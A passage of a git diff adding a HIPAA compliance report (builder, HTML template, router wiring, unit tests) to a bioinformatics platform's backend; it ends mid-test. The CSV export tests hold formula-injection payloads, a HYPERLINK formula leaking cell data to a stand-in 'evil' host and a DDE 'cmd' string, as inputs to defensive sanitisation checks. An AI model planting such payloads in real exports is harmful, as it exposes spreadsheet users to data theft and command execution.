auth_client.get_organization's own docstring) that + `organization_id` doesn't exist. router.py converts this to an HTTP + 404; every other failure mode degrades to a "some data unavailable" + warning instead, since this is the one case where the report itself + cannot mean anything at all.""" + + def __init__(self, organization_id: int): + super().__init__(f"Organization {organization_id} not found") + self.organization_id = organization_id + + +def _humanize_event_type(event_type: str) -> str: + return event_type.replace("_", " ").title() + + +def _is_org_member(event: dict, member_by_id: dict, member_by_email: dict) -> bool: + actor_user_id = event.get("actor_user_id") + if actor_user_id is not None and actor_user_id in member_by_id: + return True + email = (event.get("metadata") or {}).get("email") + return email is not None and email in member_by_email + + +def _build_user_access(login_success: list[dict], login_failure: list[dict]) -> list[dict]: + """One row per org member with any login activity in the period -- + login_count/last_login from login_success, failed_attempts from + login_failure, grouped by email (metadata.email is always set on both + event kinds -- see auth_service.py's own log_event calls -- unlike + actor_email, which is None for an unknown-account failed attempt).""" + rows: dict[str, dict[str, Any]] = {} + + for event in login_success: + email = (event.get("metadata") or {}).get("email") or event.get("actor_email") or "unknown" + row = rows.setdefault(email, {"user_label": email, "login_count": 0, "last_login": None, "failed_attempts": 0}) + row["login_count"] += 1 + created_at = event.get("created_at") + if row["last_login"] is None or (created_at and created_at > row["last_login"]): + row["last_login"] = created_at + + for event in login_failure: + email = (event.get("metadata") or {}).get("email") or event.get("actor_email") or "unknown" + row = rows.setdefault(email, {"user_label": email, "login_count": 0, "last_login": None, "failed_attempts": 0}) + row["failed_attempts"] += 1 + + return sorted(rows.values(), key=lambda r: r["user_label"]) + + +def _build_rag_queries(usage_events: list[dict], member_by_id: dict) -> list[dict]: + rows = [] + for event in usage_events: + user_id = event.get("user_id") + member = member_by_id.get(int(user_id)) if user_id and user_id.isdigit() else None + rows.append({ + "timestamp": event.get("timestamp"), + "user_label": member["email"] if member else (user_id or "unknown"), + "trace_id": event.get("trace_id"), + }) + rows.sort(key=lambda r: r["timestamp"] or "", reverse=True) + return rows + + +def _build_security_events(org_login_failure: list[dict], org_scoped_events: list[dict]) -> list[dict]: + rows = [] + for event in org_login_failure: + email = (event.get("metadata") or {}).get("email") or event.get("actor_email") or "unknown" + rows.append({ + "timestamp": event.get("created_at"), + "label": "Failed Login", + "actor_label": email, + "outcome": "failure", + "event_type": "login_failure", + }) + for event in org_scoped_events: + event_type = event.get("event_type") + if event_type not in _SECURITY_EVENT_TYPES: + continue + actor_label = event.get("actor_email") or ( + f"User #{event['actor_user_id']}" if event.get("actor_user_id") is not None else "system" + ) + outcome = "deny" if event_type in _INCIDENT_EVENT_TYPES else "success" + rows.append({ + "timestamp": event.get("created_at"), + "label": _humanize_event_type(event_type), + "actor_label": actor_label, + "outcome": outcome, + "event_type": event_type, + }) + rows.sort(key=lambda r: r["timestamp"] or "", reverse=True) + return rows + + +async def build_report( + *, + organization_id: int, + from_date: date, + to_date: date, + authorization: Optional[str], +) -> dict[str, Any]: + """Returns the cacheable report body -- everything EXCEPT + generated_by/generated_at, which router.py stamps fresh on every + response (cached or not) so a cache hit is never attributed to the + wrong administrator. See this module's own docstring, "Pre-merge + security review fixes", for why that split exists. + """ + start_dt = datetime.combine(from_date, time.min) + end_dt = datetime.combine(to_date, time.max) + + org, org_status = await auth_client.get_organization(organization_id, authorization) + if org_status == "not_found": + raise OrganizationNotFoundError(organization_id) + + members, members_status = await auth_client.get_org_members(organization_id, authorization) + member_by_id = {m["user_id"]: m for m in members} + member_by_email = {m["email"]: m for m in members} + + login_success_events, trunc_success, unavail_success = await auth_client.list_all_audit_events( + organization_id=None, start_date=start_dt, end_date=end_dt, + event_type="login_success", authorization=authorization, + ) + login_failure_events, trunc_failure, unavail_failure = await auth_client.list_all_audit_events( + organization_id=None, start_date=start_dt, end_date=end_dt, + event_type="login_failure", authorization=authorization, + ) + org_scoped_events, trunc_org, unavail_org = await auth_client.list_all_audit_events( + organization_id=organization_id, start_date=start_dt, end_date=end_dt, + authorization=authorization, + ) + rag_events, trunc_rag, unavail_rag = await billing_client.list_all_usage_events( + organization_id=organization_id, start_date=from_date, end_date=to_date, + resource="rag.query", authorization=authorization, + ) + + # Human-readable, self-contained strings -- these are consumed + # as-is by the JSON response, the PDF template, and the CSV export, + # so the label is decided exactly once, here, rather than needing an + # internal-key-to-label mapping duplicated in three render layers. + sources_unavailable: list[str] = [] + if org_status == "unavailable": + sources_unavailable.append("Organization details (omnibioai-auth)") + if members_status != "ok": + sources_unavailable.append("Organization members (omnibioai-auth)") + if unavail_success: + sources_unavailable.append("Login success events (omnibioai-auth)") + if unavail_failure: + sources_unavailable.append("Login failure events (omnibioai-auth)") + if unavail_org: + sources_unavailable.append("Role/permission/security events (omnibioai-auth)") + if unavail_rag: + sources_unavailable.append("RAG query events (omnibioai-billing)") + + org_login_success = [e for e in login_success_events if _is_org_member(e, member_by_id, member_by_email)] + org_login_failure = [e for e in login_failure_events if _is_org_member(e, member_by_id, member_by_email)] + + user_access = _build_user_access(org_login_success, org_login_failure) + rag_queries = _build_rag_queries(rag_events, member_by_id) + security_events = _build_security_events(org_login_failure, org_scoped_events) + + security_events_requiring_review = sum(1 for r in security_events if r["outcome"] == "deny") + + summary = { + "total_users": len(members), + "active_users": sum(1 for r in user_access if r["login_count"] > 0), + "total_rag_queries": len(rag_queries), + "failed_login_attempts": len(org_login_failure), + "security_events_requiring_review": security_events_requiring_review, + } + + return { + "organization_id": organization_id, + "organization_name": (org or {}).get("name") or f"Organization #{organization_id}", + "from_date": from_date.isoformat(), + "to_date": to_date.isoformat(), + "summary": summary, + "user_access": user_access, + "rag_queries": rag_queries, + "security_events": security_events, + "truncated": trunc_success or trunc_failure or trunc_org or trunc_rag, + "sources_unavailable": sources_unavailable, + } diff --git a/backend/src/control_center/compliance/templates/hipaa_report.html b/backend/src/control_center/compliance/templates/hipaa_report.html new file mode 100644 index 0000000..bcb52d6 --- /dev/null +++ b/backend/src/control_center/compliance/templates/hipaa_report.html @@ -0,0 +1,271 @@ + + + + +HIPAA Compliance Report + + + + +
+
+ + + + + + OmniBioAI +
+
HIPAA Basic Compliance Report
+
Organization: {{ organization_name }} (org #{{ organization_id }})
+
Period: {{ from_date }} – {{ to_date }}
+
Generated: {{ generated_at }} by {{ generated_by }}
+
+ Basic compliance report (OmniBioAI Studio v0.8.0). Covers login/session + activity, RAG query access, and security events from existing audit + sources. Not a substitute for a full HIPAA compliance audit -- full + certification review is planned for v0.9.0. +
+
+ + {% if sources_unavailable %} +
+ Report may be incomplete -- one or more data sources were unavailable during generation: + + Figures below reflect only the sources that responded successfully -- they are not a confirmed "zero activity" for the unavailable sources. +
+ {% endif %} + + +
+
1Executive Summary
+
+
+
{{ summary.total_users }}
+
Total Users
+
+
+
{{ summary.active_users }}
+
Active Users In Period
+
+
+
{{ summary.total_rag_queries }}
+
RAG Queries
+
+ +
+
{{ summary.security_events_requiring_review }}
+
Security Events Requiring Review
+
+
+
+ + +
+
2User Access Log
+ {% if user_access %} + + + + + + {% for row in user_access %} + + + + + + + {% endfor %} + +
UserLogin CountLast LoginFailed Attempts
{{ row.user_label }}{{ row.login_count }}{{ row.last_login }}{% if row.failed_attempts > 0 %}{{ row.failed_attempts }}{% else %}0{% endif %}
+ {% else %} +
No login activity recorded in this period.
+ {% endif %} +
+ Session duration is not included in this report -- no admin-facing + session listing exists yet (deferred to v0.9.0). +
+
+ + +
+
3RAG Query Log
+ {% if rag_queries %} + + + + + + {% for row in rag_queries %} + + + + + + {% endfor %} + +
TimestampUserTrace ID
{{ row.timestamp }}{{ row.user_label }}{{ row.trace_id or '—' }}
+ {% else %} +
No RAG queries recorded in this period.
+ {% endif %} +
+ Dataset views/downloads and data uploads are not tracked anywhere in + the platform today and are excluded from this report (deferred to + v0.9.0 -- see report discovery notes). +
+
+ + +
+
4Security Events
+ {% if security_events %} + + + + + + {% for row in security_events %} + + + + + + + {% endfor %} + +
TimestampEventActorOutcome
{{ row.timestamp }}{{ row.label }}{{ row.actor_label }} + {% if row.outcome == 'deny' or row.outcome == 'failure' %} + {{ row.outcome }} + {% else %} + {{ row.outcome }} + {% endif %} +
+ {% else %} +
No security events recorded in this period.
+ {% endif %} +
+ + + diff --git a/backend/src/control_center/main.py b/backend/src/control_center/main.py index d3367f0..ab8ec6f 100644 --- a/backend/src/control_center/main.py +++ b/backend/src/control_center/main.py @@ -50,6 +50,7 @@ from control_center.api.routes_platform_config_proxy import router as platform_config_proxy_router from control_center.api.routes_platform_interactions_proxy import router as platform_interactions_proxy_router from control_center.analytics.router import router as analytics_router +from control_center.compliance.router import router as compliance_router from control_center.api.routes_cloud import router as cloud_router from control_center.api.routes_integrations import router as integrations_router from control_center.core.auth import require_permission @@ -189,6 +190,11 @@ def _setup_logging() -> logging.Logger: # reason: a single blanket permission here would either over- or # under-restrict across the different roles analytics needs to serve. app.include_router(analytics_router) +# HIPAA Basic Compliance Report v0.8.0: no blanket router-level permission +# dependency here either, same reasoning as analytics_router immediately +# above -- each route already requires manage_all_orgs individually +# (compliance/router.py's own _require_platform_admin). +app.include_router(compliance_router) # ============================================================================== diff --git a/backend/tests/test_compliance_audit_log.py b/backend/tests/test_compliance_audit_log.py new file mode 100644 index 0000000..366bb18 --- /dev/null +++ b/backend/tests/test_compliance_audit_log.py @@ -0,0 +1,80 @@ +"""Unit tests for control_center.compliance.audit_log -- the "record that +a platform_admin generated/downloaded a HIPAA compliance report" writer. +Mocks the module's own `_redis` client directly (same style +test_analytics_cache.py uses for analytics/cache.py's `_redis`), not a +FakeRedis, since the only thing exercised here is "was xadd called with +the right stream/payload", not real Streams semantics. +""" +from __future__ import annotations + +import json +from datetime import date +from unittest.mock import MagicMock, patch + +from control_center.compliance import audit_log + + +def test_log_report_access_writes_to_the_audit_events_stream() -> None: + fake_redis = MagicMock() + with patch.object(audit_log, "_redis", fake_redis): + audit_log.log_report_access( + actor="admin@omnibioai.org", organization_id=7, + from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), report_format="pdf", + ) + fake_redis.xadd.assert_called_once() + args, kwargs = fake_redis.xadd.call_args + assert args[0] == "audit:events" + assert kwargs["maxlen"] == audit_log.MAX_STREAM_LENGTH + assert kwargs["approximate"] is True + + +def test_log_report_access_payload_matches_auditevent_shape() -> None: + """Field-for-field match with omnibioai-security-audit's own + AuditEvent pydantic model (audit/models.py) -- so if that service's + consumer ever processes this stream, this event persists as a normal + AuditEventRecord row through existing infrastructure, no changes + needed on that side.""" + fake_redis = MagicMock() + with patch.object(audit_log, "_redis", fake_redis): + audit_log.log_report_access( + actor="admin@omnibioai.org", organization_id=7, + from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), report_format="csv", + ) + args, _ = fake_redis.xadd.call_args + payload = json.loads(args[1]["data"]) + + for field in ("event_id", "timestamp", "service", "event_type", "user_id", "action", "resource", "decision", "reason", "trace_id", "context"): + assert field in payload + + assert payload["service"] == "control-center" + assert payload["event_type"] == "compliance_report_accessed" + assert payload["user_id"] == "admin@omnibioai.org" + assert payload["decision"] == "success" + assert payload["resource"] == "organization:7" + assert payload["context"] == { + "organization_id": 7, "from_date": "2026-08-01", "to_date": "2026-08-31", "format": "csv", + } + + +def test_log_report_access_generates_a_distinct_event_id_per_call() -> None: + fake_redis = MagicMock() + with patch.object(audit_log, "_redis", fake_redis): + audit_log.log_report_access(actor="a@x.org", organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 1), report_format="json") + audit_log.log_report_access(actor="a@x.org", organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 1), report_format="json") + first_payload = json.loads(fake_redis.xadd.call_args_list[0][0][1]["data"]) + second_payload = json.loads(fake_redis.xadd.call_args_list[1][0][1]["data"]) + assert first_payload["event_id"] != second_payload["event_id"] + + +def test_log_report_access_never_raises_on_redis_failure() -> None: + """Best-effort, fire-and-forget -- an audit-logging failure must + never break the report response that already succeeded, matching + every other audit-write call site's own documented convention + (AuditLogger.log(), audit_service.log_event).""" + fake_redis = MagicMock() + fake_redis.xadd.side_effect = ConnectionError("redis unreachable") + with patch.object(audit_log, "_redis", fake_redis): + audit_log.log_report_access( + actor="admin@omnibioai.org", organization_id=1, + from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), report_format="json", + ) # must not raise diff --git a/backend/tests/test_compliance_auth_client.py b/backend/tests/test_compliance_auth_client.py new file mode 100644 index 0000000..ec38011 --- /dev/null +++ b/backend/tests/test_compliance_auth_client.py @@ -0,0 +1,202 @@ +"""Unit tests for control_center.compliance.auth_client. Mocking shape +mirrors tests/test_analytics_billing_client.py exactly (this codebase's +established convention for testing a thin httpx client module). +""" +from __future__ import annotations + +import unittest +from datetime import datetime +from unittest.mock import AsyncMock, MagicMock, patch + +import httpx + +from control_center.compliance import auth_client + + +def _resp(status_code: int, json_body=None) -> MagicMock: + r = MagicMock() + r.status_code = status_code + r.json.return_value = json_body + return r + + +def _mock_client(*responses: MagicMock): + mock_client = MagicMock() + if len(responses) > 1: + mock_client.get = AsyncMock(side_effect=list(responses)) + else: + mock_client.get = AsyncMock(return_value=responses[0]) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + return mock_ctx, mock_client + + +class GetOrganizationTestCase(unittest.IsolatedAsyncioTestCase): + async def test_returns_body_and_ok_on_success(self) -> None: + ctx, _ = _mock_client(_resp(200, {"id": 1, "name": "KUMC Research"})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + body, status = await auth_client.get_organization(1, "Bearer tok") + self.assertEqual(body["name"], "KUMC Research") + self.assertEqual(status, "ok") + + # Pre-merge review fix: a confirmed 404 (org genuinely doesn't exist) + # must be distinguishable from a network/5xx failure -- they mean + # very different things to a compliance report. Exercised by the two + # tests immediately below. + + async def test_404_returns_not_found_status(self) -> None: + ctx, _ = _mock_client(_resp(404)) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + body, status = await auth_client.get_organization(1, "Bearer tok") + self.assertIsNone(body) + self.assertEqual(status, "not_found") + + async def test_500_returns_unavailable_status(self) -> None: + ctx, _ = _mock_client(_resp(500)) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + body, status = await auth_client.get_organization(1, "Bearer tok") + self.assertIsNone(body) + self.assertEqual(status, "unavailable") + + async def test_unreachable_returns_unavailable_status(self) -> None: + mock_client = MagicMock() + mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=mock_ctx): + body, status = await auth_client.get_organization(1, "Bearer tok") + self.assertIsNone(body) + self.assertEqual(status, "unavailable") + + +class GetOrgMembersTestCase(unittest.IsolatedAsyncioTestCase): + async def test_returns_member_list_and_ok(self) -> None: + ctx, _ = _mock_client(_resp(200, [{"user_id": 1, "email": "a@kumc.edu", "status": "active", "roles": ["member"]}])) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + members, status = await auth_client.get_org_members(1, "Bearer tok") + self.assertEqual(members[0]["email"], "a@kumc.edu") + self.assertEqual(status, "ok") + + async def test_empty_list_and_not_found_on_404(self) -> None: + ctx, _ = _mock_client(_resp(404)) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + members, status = await auth_client.get_org_members(1, "Bearer tok") + self.assertEqual(members, []) + self.assertEqual(status, "not_found") + + async def test_empty_list_and_unavailable_on_failure(self) -> None: + ctx, _ = _mock_client(_resp(403)) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + members, status = await auth_client.get_org_members(1, "Bearer tok") + self.assertEqual(members, []) + self.assertEqual(status, "unavailable") + + async def test_non_list_body_returns_unavailable(self) -> None: + # A malformed/unexpected 200 body must not be silently treated as + # "zero members" -- that's indistinguishable from a real empty + # org otherwise. + ctx, _ = _mock_client(_resp(200, {"unexpected": "shape"})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + members, status = await auth_client.get_org_members(1, "Bearer tok") + self.assertEqual(members, []) + self.assertEqual(status, "unavailable") + + +class ListAllAuditEventsTestCase(unittest.IsolatedAsyncioTestCase): + async def test_single_page_stops_after_total_pages(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"items": [{"id": 1}], "total_pages": 1})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + items, truncated, unavailable = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + self.assertEqual(len(items), 1) + self.assertFalse(truncated) + self.assertFalse(unavailable) + self.assertEqual(mock_client.get.call_count, 1) + + async def test_follows_pagination_across_multiple_pages(self) -> None: + ctx, mock_client = _mock_client( + _resp(200, {"items": [{"id": 1}], "total_pages": 2}), + _resp(200, {"items": [{"id": 2}], "total_pages": 2}), + ) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + items, truncated, unavailable = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + self.assertEqual([i["id"] for i in items], [1, 2]) + self.assertFalse(truncated) + self.assertFalse(unavailable) + + async def test_organization_id_none_omits_param(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"items": [], "total_pages": 0})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + await auth_client.list_all_audit_events( + organization_id=None, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + _, kwargs = mock_client.get.call_args + self.assertNotIn("organization_id", kwargs["params"]) + + async def test_event_type_filter_is_forwarded(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"items": [], "total_pages": 0})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + event_type="login_success", authorization="Bearer tok", + ) + _, kwargs = mock_client.get.call_args + self.assertEqual(kwargs["params"]["event_type"], "login_success") + + async def test_unreachable_returns_unavailable_true_not_truncated(self) -> None: + mock_client = MagicMock() + mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=mock_ctx): + items, truncated, unavailable = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + self.assertEqual(items, []) + self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_failure_mid_pagination_keeps_earlier_pages_but_flags_unavailable(self) -> None: + ctx, mock_client = _mock_client( + _resp(200, {"items": [{"id": 1}], "total_pages": 3}), + _resp(500), + ) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + items, truncated, unavailable = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + # Page 1's item is real data, kept -- but the caller must not treat + # this as a complete, reliable result. + self.assertEqual([i["id"] for i in items], [1]) + self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_pagination_cap_boundary_sets_truncated_and_stops_fetching(self) -> None: + # Exactly _MAX_PAGES (100) pages, each claiming more pages exist + # than the cap allows -- the 101st page must never be requested. + responses = [_resp(200, {"items": [{"id": i}], "total_pages": 200}) for i in range(100)] + ctx, mock_client = _mock_client(*responses) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + items, truncated, unavailable = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + self.assertEqual(len(items), 100) + self.assertTrue(truncated) + self.assertFalse(unavailable) + self.assertEqual(mock_client.get.call_count, 100) + + +if __name__ == "__main__": + unittest.main() diff --git a/backend/tests/test_compliance_billing_client.py b/backend/tests/test_compliance_billing_client.py new file mode 100644 index 0000000..101ab03 --- /dev/null +++ b/backend/tests/test_compliance_billing_client.py @@ -0,0 +1,121 @@ +"""Unit tests for control_center.compliance.billing_client.""" +from __future__ import annotations + +import unittest +from datetime import date +from unittest.mock import AsyncMock, MagicMock, patch + +import httpx + +from control_center.compliance import billing_client + + +def _resp(status_code: int, json_body=None) -> MagicMock: + r = MagicMock() + r.status_code = status_code + r.json.return_value = json_body + return r + + +def _mock_client(*responses: MagicMock): + mock_client = MagicMock() + if len(responses) > 1: + mock_client.get = AsyncMock(side_effect=list(responses)) + else: + mock_client.get = AsyncMock(return_value=responses[0]) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + return mock_ctx, mock_client + + +class ListAllUsageEventsTestCase(unittest.IsolatedAsyncioTestCase): + async def test_single_page_stops_when_offset_reaches_total(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"events": [{"event_id": "a"}], "total_count": 1})) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated, unavailable = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(len(events), 1) + self.assertFalse(truncated) + self.assertFalse(unavailable) + self.assertEqual(mock_client.get.call_count, 1) + + async def test_follows_pagination_via_offset(self) -> None: + ctx, mock_client = _mock_client( + _resp(200, {"events": [{"event_id": "a"}], "total_count": 2}), + _resp(200, {"events": [{"event_id": "b"}], "total_count": 2}), + ) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated, unavailable = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual([e["event_id"] for e in events], ["a", "b"]) + self.assertFalse(truncated) + self.assertFalse(unavailable) + + async def test_resource_filter_is_forwarded(self) -> None: + ctx, mock_client = _mock_client(_resp(200, {"events": [], "total_count": 0})) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), + resource="rag.query", authorization="Bearer tok", + ) + _, kwargs = mock_client.get.call_args + self.assertEqual(kwargs["params"]["resource"], "rag.query") + + async def test_unreachable_returns_unavailable_true_not_truncated(self) -> None: + mock_client = MagicMock() + mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=mock_ctx): + events, truncated, unavailable = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(events, []) + self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_non_200_stops_and_returns_partial_flagged_unavailable(self) -> None: + ctx, _ = _mock_client(_resp(500)) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated, unavailable = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(events, []) + self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_failure_mid_pagination_keeps_earlier_pages_but_flags_unavailable(self) -> None: + ctx, mock_client = _mock_client( + _resp(200, {"events": [{"event_id": "a"}], "total_count": 5}), + _resp(500), + ) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated, unavailable = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual([e["event_id"] for e in events], ["a"]) + self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_pagination_cap_boundary_sets_truncated_and_stops_fetching(self) -> None: + # Exactly _MAX_PAGES (100) pages, total_count always claiming + # more remain than the cap allows -- page 101 must never be + # requested. + responses = [_resp(200, {"events": [{"event_id": f"e{i}"}], "total_count": 1_000_000}) for i in range(100)] + ctx, mock_client = _mock_client(*responses) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated, unavailable = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(len(events), 100) + self.assertTrue(truncated) + self.assertFalse(unavailable) + self.assertEqual(mock_client.get.call_count, 100) + + +if __name__ == "__main__": + unittest.main() diff --git a/backend/tests/test_compliance_csv_export.py b/backend/tests/test_compliance_csv_export.py new file mode 100644 index 0000000..d1fbd69 --- /dev/null +++ b/backend/tests/test_compliance_csv_export.py @@ -0,0 +1,151 @@ +"""Unit tests for control_center.compliance.csv_export.""" +import csv +import io + +from control_center.compliance.csv_export import _sanitize_cell, render_report_csv + +_CONTEXT = { + "organization_name": "KUMC Research", + "organization_id": 1, + "from_date": "2026-08-01", + "to_date": "2026-08-31", + "generated_at": "2026-08-11T12:00:00Z", + "generated_by": "admin@omnibioai.org", + "summary": {"total_users": 2, "active_users": 1, "total_rag_queries": 1, "failed_login_attempts": 1, "security_events_requiring_review": 1}, + "user_access": [ + {"user_label": "alice@kumc.edu", "login_count": 5, "last_login": "2026-08-20T10:00:00", "failed_attempts": 0}, + ], + "rag_queries": [ + {"timestamp": "2026-08-10T09:00:00", "user_label": "alice@kumc.edu", "trace_id": "trace-1"}, + ], + "security_events": [ + {"timestamp": "2026-08-13T10:00:00", "label": "Role Assignment Denied", "actor_label": "bob@kumc.edu", "outcome": "deny"}, + ], + "sources_unavailable": [], +} + + +def test_includes_org_and_period_header(): + text = render_report_csv(_CONTEXT) + assert "KUMC Research" in text + assert "2026-08-01" in text + assert "2026-08-31" in text + + +def test_includes_all_four_section_markers(): + text = render_report_csv(_CONTEXT) + assert "## Section 1: Executive Summary" in text + assert "## Section 2: User Access Log" in text + assert "## Section 3: RAG Query Log" in text + assert "## Section 4: Security Events" in text + + +def test_is_parseable_as_csv(): + text = render_report_csv(_CONTEXT) + rows = list(csv.reader(io.StringIO(text))) + assert any(row == ["alice@kumc.edu", "5", "2026-08-20T10:00:00", "0"] for row in rows) + assert any(row == ["2026-08-10T09:00:00", "alice@kumc.edu", "trace-1"] for row in rows) + assert any(row == ["2026-08-13T10:00:00", "Role Assignment Denied", "bob@kumc.edu", "deny"] for row in rows) + + +def test_handles_empty_sections(): + context = {**_CONTEXT, "user_access": [], "rag_queries": [], "security_events": []} + text = render_report_csv(context) + assert "## Section 4: Security Events" in text # doesn't blow up on empty lists + + +def test_missing_trace_id_renders_as_empty_string(): + context = {**_CONTEXT, "rag_queries": [{"timestamp": "2026-08-10T09:00:00", "user_label": "alice@kumc.edu", "trace_id": None}]} + text = render_report_csv(context) + rows = list(csv.reader(io.StringIO(text))) + assert any(row == ["2026-08-10T09:00:00", "alice@kumc.edu", ""] for row in rows) + + +def test_summary_uses_renamed_metrics_not_security_incidents(): + text = render_report_csv(_CONTEXT) + assert "Failed Login Attempts" in text + assert "Security Events Requiring Review" in text + assert "Security Incidents" not in text + + +def test_sources_unavailable_warning_appears_when_present(): + context = {**_CONTEXT, "sources_unavailable": ["RAG query events (omnibioai-billing)"]} + text = render_report_csv(context) + assert "WARNING" in text + assert "RAG query events (omnibioai-billing)" in text + + +def test_sources_unavailable_warning_absent_when_empty(): + text = render_report_csv(_CONTEXT) + assert "WARNING" not in text + + +# ── Pre-merge security review regression: CSV / formula injection ────── + +def test_sanitize_cell_prefixes_equals_sign(): + assert _sanitize_cell("=HYPERLINK(\"http://evil\")") == "'=HYPERLINK(\"http://evil\")" + + +def test_sanitize_cell_prefixes_plus_sign(): + assert _sanitize_cell("+1+1") == "'+1+1" + + +def test_sanitize_cell_prefixes_minus_sign(): + assert _sanitize_cell("-1+1") == "'-1+1" + + +def test_sanitize_cell_prefixes_at_sign(): + assert _sanitize_cell("@SUM(1,2)") == "'@SUM(1,2)" + + +def test_sanitize_cell_leaves_safe_strings_unchanged(): + assert _sanitize_cell("alice@kumc.edu") == "alice@kumc.edu" + assert _sanitize_cell("KUMC Research") == "KUMC Research" + + +def test_sanitize_cell_leaves_non_strings_unchanged(): + assert _sanitize_cell(5) == 5 + assert _sanitize_cell(None) is None + + +def test_sanitize_cell_handles_empty_string(): + assert _sanitize_cell("") == "" + + +def test_malicious_organization_name_is_neutralized_in_csv_output(): + """The concrete, exploitable vector the pre-merge review flagged: + Organization.name has no character-class validation in + omnibioai-auth (app/schemas/orgs.py::OrganizationCreate.name is a + bare `str`), so any org member with create/rename permission can set + it to a formula payload. Opening the exported CSV in Excel/Sheets/ + LibreOffice must never execute it.""" + malicious_context = {**_CONTEXT, "organization_name": '=HYPERLINK("http://evil/?x="&A1,"Click me")'} + text = render_report_csv(malicious_context) + rows = list(csv.reader(io.StringIO(text))) + org_row = next(row for row in rows if row and row[0] == "Organization") + # Prefixed with a leading apostrophe -- spreadsheet apps render this + # as literal text (hiding the apostrophe itself), never as a live + # formula, the standard mitigation for this class of vulnerability. + assert org_row[1].startswith("'=HYPERLINK") + + +def test_malicious_user_label_is_neutralized_in_csv_output(): + malicious_context = { + **_CONTEXT, + "user_access": [{"user_label": "=cmd|'/c calc'!A0", "login_count": 1, "last_login": None, "failed_attempts": 0}], + } + text = 